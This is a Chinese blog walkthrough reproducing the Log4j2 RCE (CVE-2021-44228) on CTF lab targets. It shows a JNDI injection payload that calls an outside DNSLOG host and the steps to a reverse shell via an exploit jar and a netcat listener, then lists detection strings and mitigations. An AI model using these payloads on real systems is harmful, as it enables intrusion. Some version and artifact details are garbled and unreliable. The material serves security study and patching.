Apache log4j2-RCE 漏洞复现及修复建议(CVE-2021-44228)

 更新时间:2021年12月15日 08:45:25   作者:hacker-裁决者  
Apache Log4j2是一款Java日志框架,大量应用于业务系统开发。2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞(CVE-2021-44228),本文给大家介绍Apache log4j2-RCE 漏洞复现(CVE-2021-44228)的相关知识,感兴趣的朋友一起看看吧

Apache log4j2-RCE 漏洞复现

0x01 漏洞简介

Apache Log4j2是一个基于Java的日志记录工具。由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,经阿里云安全团队验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。

漏洞适用版本为2.0 <= Apache log4j2 <= 2.14.1,只需检测Java应用是否引入 log4j-api , log4j-core 两个jar。若存在应用使用,极大可能会受到影响。

0x02 环境准备

验证靶场:

1.CTFshow (https://ctf.show/challenges#Log4j复现-1730)

2.VULFOCUS(http://vulfocus.fofa.so/)

3.掌控安全封神台(https://hack.zkaq.cn/battle/target?id=5a768e0ca6938ffd)

0x03 漏洞验证(DNSLOG篇)

我们通过JNDI注入请求DNSLOG的恶意语句,如果在DNSLOG端能查看到访问记录,则证明远程代码执行漏洞存在

我们CTFshow的靶场来做后续验证

我们直接在登录框输入恶意代码:

${jndi:ldap://hackerj.c57f9cb5.dns.1433.eu.org/exp}

然后我们成功在DNSLOG端查看到访问记录,证实这里漏洞存在

0x04 漏洞验证(远程代码执行弹计算器&记事本篇)

在这里我们需要准备好一台有公网IP的VPS,然后在服务器端一个恶意代码类exploit.class(将恶意代码类通过javac编译得到)、一个LDAP服务器log4j.jar(为运行方便,将LADPRefServer.java打包成jar包上传到服务器)
本地端需要准备好一个LDAP客户端(含log4j2执行代码)

首先我们在服务器端开启LDAP服务端口监听,我这里设置的是7912端口

开启LDAP服务

然后我们只需要在本地运行LDAP客户端(含log4j2错误调用的代码)

由于我们在恶意代码里执行的测试命令是notepad和calc

不出意外的弹出了记事本和计算器

0x05 漏洞深度利用(反弹shell)

在这里我们需要用到JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar来生成payload

工具地址:

https://github.com/bkfish/Apache-Log4j-Learning/tree/main/tools

然后使用如下网址来加密反弹shell命令

加密网址:

https://www.jackson-t.ca/runtime-exec-payloads.html

反弹shell方法:

https://www.freebuf.com/articles/system/178150.html

我这里绑定的是服务器的9999端口(别忘了在服务器安全配置和宝塔安全配置开启端口)

然后我们就获得了payload

之后我们在服务器开启对于9999端口的监听

nc -lvnp 9999

然后我们在靶场框输入我们的恶意payload

点击提交之后我们发现反弹shell成功

0x06 影响范围及排查方法

影响范围:

使用了log4j的组件并且版本在3.x <= 2.14.1

排查方法:

1.pom版本检查

2.可以通过检查日志中是否存在"jndi:ldap://"、"jndi:rmi"等字符来发现可能的攻击行为

3.检查日志中是否存在相关的堆栈报错,堆栈里是否有JndiLookup、LdapURLContext、getObjectFactoryFromReference等与jndi调用相关的堆栈信息

4.各种安全产品

自查工具:

https://sca.seczone.cn/allScanner.zip

https://static.threatbook.cn/tools/log4j-local-check.sh

需要注意的是并不是所有的使用了log4j2的项目|客户端都会受到影响:

0x07 修复建议

官方方案:
1、将Log4j框架升级到2.15.0版本:
org/apache/loging/logj/logj-core/5.0
不要用2.15.0-rc1和2.15.0-rc2

2、临时方案
1、升级JDK
2、修改log4j配置
①设置参数:
log4j2.formatMsgNoLookups=True
②修改jvm参数:
-Dlog4j2.formatMsgNoLookups=true
③系统环境变量:
FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS设置为true
④禁止log4j2所在的服务器外连
3、使用安全产品防护:WAF、RASP

0x08 涉及资源

https://www.icode9.com/content-4-1255614.html

https://github.com/welk1n/JNDI-Injection-Exploit

https://ylcao.top/2021/12/apache-log4j2-rce%E5%A4%8D%E7%8E%B0/

https://www.jackson-t.ca/runtime-exec-payloads.html

https://chowdera.com/2021/12/202112102325553772.html

https://github.com/bkfish/Apache-Log4j-Learning

https://www.freebuf.com/articles/system/178150.html

https://github.com/fengxuangit/log4j_vuln

http://vulfocus.fofa.so/#/dashboard

到此这篇关于Apache log4j2-RCE 漏洞复现(CVE-2021-44228)的文章就介绍到这了,更多相关Apache log4j2-RCE 漏洞内容请搜索脚本之家以前的文章或继续浏览下面的相关文章希望大家以后多多支持脚本之家!

相关文章

  • 详解Java 微服务架构

    详解Java 微服务架构

    这篇文章主要介绍了Java 微服务架构的相关资料,帮助大家更好的理解和使用Java,感兴趣的朋友可以了解下
    2021-02-02
  • springboot集成flyway自动创表的详细配置

    springboot集成flyway自动创表的详细配置

    Flayway是一款数据库版本控制管理工具,支持数据库版本自动升级,Migrations可以写成sql脚本,也可以写在java代码里;本文通过实例代码给大家介绍springboot集成flyway自动创表的详细过程,感兴趣的朋友一起看看吧
    2021-06-06
  • spring中的FactoryBean代码示例

    spring中的FactoryBean代码示例

    这篇文章主要介绍了spring中的FactoryBean代码示例,涉及FactoryBean的实现等相关内容,具有一定参考价值,需要的朋友可以了解下。
    2017-10-10
  • springboot 启动如何排除某些bean的注入

    springboot 启动如何排除某些bean的注入

    这篇文章主要介绍了springboot 启动如何排除某些bean的注入方式,具有很好的参考价值,希望对大家有所帮助。如有错误或未考虑完全的地方,望不吝赐教
    2021-08-08
  • 在JPA中criteriabuilder使用or拼接多个like语句

    在JPA中criteriabuilder使用or拼接多个like语句

    这篇文章主要介绍了在JPA中criteriabuilder使用or拼接多个like语句,具有很好的参考价值,希望对大家有所帮助。如有错误或未考虑完全的地方,望不吝赐教
    2021-12-12
  • Java爬虫实现爬取京东上的手机搜索页面 HttpCliient+Jsoup

    Java爬虫实现爬取京东上的手机搜索页面 HttpCliient+Jsoup

    下面小编就为大家分享一篇Java爬虫实现爬取京东上的手机搜索页面 HttpCliient+Jsoup,具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧
    2017-11-11
  • Java Scaner类详解_动力节点Java学院整理

    Java Scaner类详解_动力节点Java学院整理

    Java.util.Scanner是Java5.0的新特征,主要功能是简化文本扫描。下面通过本文给大家分享java scaner类相关知识,需要的朋友下吧
    2017-04-04
  • Java WebService 简单实例(附实例代码)

    Java WebService 简单实例(附实例代码)

    本篇文章主要介绍了Java WebService 简单实例(附实例代码), Web Service 是一种新的web应用程序分支,他们是自包含、自描述、模块化的应用,可以发布、定位、通过web调用。有兴趣的可以了解一下
    2017-01-01
  • Java标识接口的使用方法

    Java标识接口的使用方法

    在本篇文章中小编给大家分享了关于Java标识接口的使用方法和教程内容,有需要的朋友们学习下。
    2019-01-01
  • Java使用BigDecimal精确运算浮点数

    Java使用BigDecimal精确运算浮点数

    这篇文章主要介绍了Java使用BigDecimal精确运算浮点数,帮助大家更好的处理浮点数数据,感兴趣的朋友可以了解下
    2020-10-10

最新评论